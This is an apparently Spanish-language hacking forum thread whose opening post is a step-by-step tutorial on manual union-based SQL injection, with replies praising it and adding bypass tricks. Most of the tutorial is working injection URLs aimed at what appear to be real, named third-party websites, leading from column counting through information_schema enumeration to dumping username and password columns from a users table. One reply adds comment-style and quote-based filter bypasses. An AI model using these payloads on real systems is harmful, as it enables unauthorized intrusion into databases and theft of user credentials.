Hola amigos me ezforze mucho escribiendo este tuto para uds espero les guste :)
Saludos
Sqli Manual
en este caso una variable aki viene siendo
http://www.icvp.mx/enfermedades_detalle.php?id=5
la variable id resultado de la variable 5un ejemplo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b
vendrian siendo las variables
id
ref
co
a
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=sss
si queeremos comprobar que la variable g es vulnerable donde pondriamos la comilla?
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos=sss
cuando verifiques si una variable es vulnerable pruebas asi:
http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln
de las dos maneras pruebas
para saber cuantas columnas tiene podemos poner
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6
si ponemos
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7
sale ke no existe pero con 6 sale bien quiere decir que tiene 6
columnas
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,
salta normal
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,7
salta error quiere decir que es la 6
notA: una injeccion siempre deve tener -- al final ejemplo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6--
tambien se puede hacer
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5--
(Desde el 1 al 6 o desde 0 al 5) es lo mismo
Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+1,2,3,4,5,6--
Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6
Cada numero esta involucrado en la injeccion
ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,5,--
saldrian 5 3 2
esos numeros estan haciendo querys ala db
con este comando database()
se saca el nombre de la db
Como?
sustituimos un numero ke imprime 5 3 o 2 ejemplo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,database()--
para ver la version de PHP enves de poner database()
se pone version()
(en otro numero que imprima en estecaso 2) ejemplo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,version(),3,4,5--
Para sacar las tablas...
cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables
y cuando sea de columnas
information_schema.colums
si queremos sacar las columnas la url seria asi
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--
y las tablas
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--
en algunos casos nos sale solo 1 tabla para ir sabiendo mas tablas
aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+4,1--
ya que sacamos las tablas encontramos la tabla usuarios users o algo asi
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+49,1--
(http://i.imgur.com/X7zTy.png)
ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo http://www.seguridadwireless.net/php/conversor-universal-wireless.php
Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1--
ven la url? nos tira username ahora moveremos el 1,1 asi 2,1 3,1 sucesivamente hasta que salga pass o algo parecido
Ahora borramos hasta que quede la injeccion normal algo asi
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+
donde dice from+ le ponemos el nombre de la tabla (users) quedaria asi
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
cambiamos el column_name por el nombre de la columna que queremos ejemplo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Si tienen dudas ami privado amigos
Gracias Dedalo - me enseño como :)
Saludos ;)
Es muy paresido a la inyeccion sql que yo se. Pero hay muchas formas de hacerlo y con todas llegas al mismo resultado
Muchas gracias por compartirlo!
Saludos,, Cronos.-
Si cronos para mi me gusta esta forma de hacerlo se que hay mas pero
mientras no usen tools cualquier forma de sqli manual es buena
Saludos BRO!
Excelente aporte man!
Lo que mas vale, es que lo hiciste tu!
Segui asi Okol!
Saludos!
Si bro la verdad me ezforze pero lo ise desde 0
Gracias x sus comentarios
SALUDOS
Muy bueno okol pero no me fastidiarían los gr33tz bro... tu sabes a que me refiero ¬¬
Saludos,
Dedalo
claro hermano disculpa ya te pongo :$ tu me enseñaste todo jajaja
Excelente tutorial 8) . Felicitaciones Okol
Okol una cosa que note. Cuando dices ".. (Desde el 1 al 5 o desde 0 al 6) es lo mismo .." No seria (Desde el 1 al 6 o desde 0 al 5)?
Saludos,, Cronos.-
siiii disculpa del 1 al 6 o del 0 al 5 disculpame hermano ya lo corrijo esque no lo habia leido bien antes e postear
Te complemento okol... Quizas debes especificar y/o aclarar mas lo de los comentarios al final de la injection SQL... porque en los ejemplos en donde aplicas el order by no pusiste los comentarios!!!
Le puedes añadir a tu post otros posibles comentarios como en vez de "--" /* y en ves de "+" /**/
porque aveces pasa que con un comentario funciona y con otro no...
Tambien le puedes añadir una forma de bypass, ya que aveces al iniciar poniendo ej:
www.site.com/index.php?id=1+order+by+9999--
Puede que no te muestre nada...
Una forma de bypass seria:
www.site.com/index.php?id=1'+order+by+20--+-
Bno, solo digo eso por complementar...!!!
SALu2
Buen aporte!
Se agradece
Está bien que lo hiciste tú y no vengo más que a decirte que realmente dan dolor de ojos algunos errores ortográficos, realmente deberías esmerarte más en esa parte porque le quita presentación y seriedad.
Saludos.
Se agradece el tiempo y dedicación por tratar de ser explicito en tu explicación, muy interesante y sirve para complementar mucho lo ya aprendido gracias al foro.
Gracias (Y)
quuuuuuuueeeeeeee buen tuto :D